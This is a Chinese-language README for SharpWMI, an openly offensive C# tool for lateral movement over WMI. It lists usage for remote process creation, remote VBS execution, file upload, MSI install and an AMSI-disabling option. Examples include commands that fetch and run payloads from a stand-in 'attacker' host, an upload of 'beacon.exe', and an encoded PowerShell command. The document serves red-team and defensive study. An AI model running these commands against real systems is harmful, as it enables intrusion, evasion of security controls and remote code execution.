SharpWMI 是一个 C# 实现的多种 WMI 功能集合。包括本地/远程 WMI 查询、通过 win32_process 远程创建进程、以及通过 WMI 事件订阅远程执行任意 VBS。远程方法还支持备用凭据。
@harmj0y 是主要作者。
SharpWMI 使用 BSD 3-Clause 许可证授权。
本地系统枚举:
SharpWMI.exe action=query query=""select * from win32_service"" [namespace=BLAH]
远程系统枚举:
SharpWMI.exe action=query [computername=HOST1[,HOST2,...]] query=""select * from win32_service"" [namespace=BLAH]
远程系统已登录用户枚举:
SharpWMI.exe action=loggedon [computername=HOST1[,HOST2,...]]
远程进程创建:
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
远程 VBS 执行:
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
通过 WMI 上传文件:
SharpWMI.exe action=upload [computername=HOST[,HOST2,...]] source=""C:\\source\\file.exe"" dest=""C:\\temp\\dest-file.exe"" [amsi=disable]
远程防火墙枚举:
SharpWMI.exe action=firewall computername=HOST1[,HOST2,...]
列出进程:
SharpWMI.exe action=ps [computername=HOST[,HOST2,...]]
终止进程(首个找到的):
SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]]
获取环境变量(若不指定名称则获取全部):
SharpWMI.exe action=getenv [name=VariableName] [computername=HOST[,HOST2,...]]
设置环境变量:
SharpWMI.exe action=setenv name=VariableName value=VariableValue [computername=HOST[,HOST2,...]]
删除环境变量:
SharpWMI.exe action=delenv name=VariableName [computername=HOST[,HOST2,...]]
安装 MSI 文件:
SharpWMI.exe action=install [computername=HOST[,HOST2,...]] path=""C:\\temp\\installer.msi"" [amsi=disable]
注意:
- 任何远程函数也可接受可选的 username=DOMAIN\\user、password=Password123! 参数。
- 若不指定 computername,则目标为本地主机。
action=exec(或 action=create)选项中的 result=true 使得 SharpWMI 在远程 WMI 进程创建后返回命令的输出。其工作原理是将命令输出存储在任意 WMI 对象的实例中。该对象随后由调用者获取并恢复为原始值。
与原本的 SharpWMI 相比,executevbs 操作经过了重构。[script-specification] 中定义的脚本规范提供了以下方法,用于将本工具指向目标 VBS 代码:
A) 通过预设的 VBS 代码执行操作系统命令:
SharpWMI.exe action=executevbs [...] command="notepad.exe"
B) 从 URL 下载 PowerShell 命令,并通过 VBS 通过 PowerShell 的标准输入执行:
SharpWMI.exe action=executevbs [...] url="http://attacker/myscript.ps1"
C) 从给定 URL 下载二进制文件,存储在指定路径,然后执行它:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe"
D) 从给定 URL 下载二进制文件,存储在指定路径,然后执行任意命令:
url="SOURCE_URL,TARGET_PATH"
SharpWMI.exe action=executevbs [...] url="http://attacker/foo.png,%TEMP%\bar.exe" command="%TEMP%\bar.exe -some -parameters"
E) 从文件中读取 VBS 脚本并执行:
SharpWMI.exe action=executevbs [...] script="myscript.vbs"
F) 按字面执行给定的 VBS 脚本:
SharpWMI.exe action=executevbs [...] script="CreateObject(\\"WScript.Shell\\").Run(\\"notepad.exe\\")"
G) 对输入字符串进行 Base64 解码(该字符串为编码后的 VBS 脚本),并在远程机器上执行:
SharpWMI.exe action=executevbs [...] scriptb64="Q3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIi[...]"
H) 读取给定文件的内容,进行 Base64 解码,然后在目标机器上执行:
SharpWMI.exe action=executevbs [...] scriptb64="myscript.vbs.b64"
最后,'executevbs' 操作还可以定义额外的 [time-specs](以秒为单位),它们指定脚本触发和等待超时:
SharpWMI.exe action=executevbs [...] trigger=5 timeout=10
SharpWMI.exe action=query query=""select * from win32_process""
SharpWMI.exe action=query query=""SELECT * FROM AntiVirusProduct"" namespace=""root\\SecurityCenter2""
SharpWMI.exe action=loggedon computername=primary.testlab.local
SharpWMI.exe action=query computername=primary.testlab.local query=""select * from win32_service""
SharpWMI.exe action=query computername=primary,secondary query=""select * from win32_process""
SharpWMI.exe action=exec computername=primary.testlab.local command=""powershell.exe -enc ZQBj...""
SharpWMI.exe action=exec computername=primary.testlab.local command=""whoami"" result=true amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local command=""notepad.exe"" eventname=""MyLittleEvent"" amsi=disable
SharpWMI.exe action=executevbs computername=primary.testlab.local username=""TESTLAB\\harmj0y"" password=""Password123!""
SharpWMI.exe action=upload computername=primary.testlab.local source=""beacon.exe"" dest=""C:\\Windows\\temp\\foo.exe"" amsi=disable
SharpWMI.exe action=terminate computername=primary.testlab.local process=explorer
SharpWMI.exe action=getenv name=PATH computername=primary.testlab.local
SharpWMI.exe action=setenv name=FOO value=""BAR"" computername=primary.testlab.local
SharpWMI.exe action=delenv name=FOO computername=primary.testlab.local
SharpWMI.exe action=install computername=primary.testlab.local path=""C:\\temp\\installer.msi""
从远程 Windows 10 机器获取本地 TCP netstat 样式信息:
SharpWMI.exe action=query computername=COMPUTER query="Select LocalPort,OwningProcess from MSFT_NetTCPConnection" namespace="ROOT\StandardCIMV2"
我们不打算发布 SharpWMI 的二进制文件,因此您需要自行编译 :)
SharpWMI 基于 .NET 3.5 构建,并与 Visual Studio 2015 Community Edition 兼容。只需打开项目 .sln,选择“Release”,然后生成即可。
| 贡献 | 作者 |
|---|
| 原始 SharpWMI 实现 | Will Schroeder @harmj0y |
| WMI 代码执行输出思路 | Evi1cg @Ridter |
| 取自 SharpMove 的 AMSI 绕过代码 | Steven Flores 0xthirteen |
| 增强功能、VBS 灵活性、文件上传 | Mariusz B. / mgeeky @mariuszbit |
| 安装 MSI 文件 | Justin Bui @slyd0g |